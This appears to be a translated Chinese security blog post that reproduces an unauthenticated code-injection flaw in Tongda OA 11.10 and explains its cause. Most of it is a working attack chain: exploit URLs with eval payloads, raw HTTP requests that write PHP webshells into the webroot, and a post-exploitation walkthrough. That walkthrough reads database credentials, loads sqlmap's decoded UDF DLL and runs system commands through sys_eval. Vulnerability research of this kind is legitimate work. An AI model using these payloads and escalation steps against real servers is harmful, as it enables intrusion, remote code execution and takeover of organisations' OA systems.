An oa 11.10 does not authorize arbitrary file uploads

Vulnerability Profile

I also did a more specific analysis and vulnerability mining on Tongda oa before. A few days ago, I saw that Tongda oa 11.10 had an unauthorized file upload vulnerability, so I also planned to reproduce and analyze it.

Environment build

https://www.tongda2000.com/download/p2019.php

Download link: https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe

995a70dbca3274e813fb25dfd40e5852.png

View version information

4456f6e23ae634f3dda002018e7f755c.png

Vulnerability recurrence

Use method one

http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage
98f918a36fe1d9bf0273a25a0f9a2a87.png

Use method two

Can't write directly to php file with variables

So first use the no-parameter webshell

<?php @eval(next(getallheaders()));
a530dc1c7c2942c622a15ec3a2b4dc30.png
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.222.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9e03e56364be72fabcc59bd5f2de4648.png

After the upload is successful, use the malicious file generated for the first time to regenerate the file

GET /general/test.php HTTP/1.1
Host: 192.168.121.147:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);');
Content-Length: 28

Upgrade-Insecure-Requests: 1
923cffd7cd73a345572ccc582d4290dd.png 8d939416a6823ec1e2cfb1be5ec6cb5c.png

However, it is not possible to order directly. This is because the authority is too low, so if you want to perform further operations, you need to escalate the authority

8b1cce2ab7a45a97f4e74ae93ce2a4ba.png

See the password of the mysql database by viewing the configuration file

71de485a2b4da153e230737bb9f7b348.png

Use Ant Sword to connect to the database

d4322f81a42a6b307327f57072a7c88d.png

Check mysql version

MySQL version Privilege escalation dll storage location
>5.1 /lib/plugin/ under mysql root path (select @@basedir)
<5.1 Under the system directory c:\windows\system32

The corresponding privilege escalation file is integrated in SqlMap, but it needs to be decrypted first

udf.dll is encoded and calculated, so there needs to be a decryption script under this path

sqlmap-master\extra\cloak

Corresponding dll file path

sqlmap-master\data\udf\mysql\windows\64

perform decode operation

cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

Then upload the decoded file to the path mysql/lib/plugin/

5863c3a2679d39e5c4c740e5bfe914c2.png
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");
89f75529ed82f5a00c7c3345dc7a9027.png

Vulnerability analysis

general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata

c4c5c5cc484c1d4c2b76677ccb491b4e.png

First judge whether there is a parameter id, then execute the GetData and toUTF8 methods in sequence according to the value of the module

general\appbuilder\modules\portal\models\PortalComponent.php#GetData

4ac8d2393dda4b331dac850008051037.png

According to the id query, return the corresponding value. The value of $activeTab is obtained from the outside

Call different get_datamethods according to different $modules

general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis

61f4faa7418ad52dab898c98a1a30555.png

general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8

354b5fe321f24100b441f1b73f45287a.png

This is a bit similar to wide-byte injection. Using type conversion, the incoming single quotes are transferred and then encoded and converted into Chinese characters, and finally the single quotes escape. Finally, execute the command.

Call for original manuscripts

Call for original technical articles, welcome to post

Submission email: [email protected]

Article type: hacker geek technology, information security hotspots, security research and analysis, etc.

If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.

For more details, click me to view!

3d76afb3ddafda2c3772f20b47f2beef.gif

Shooting range practice, click "Read the original text"

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/131016396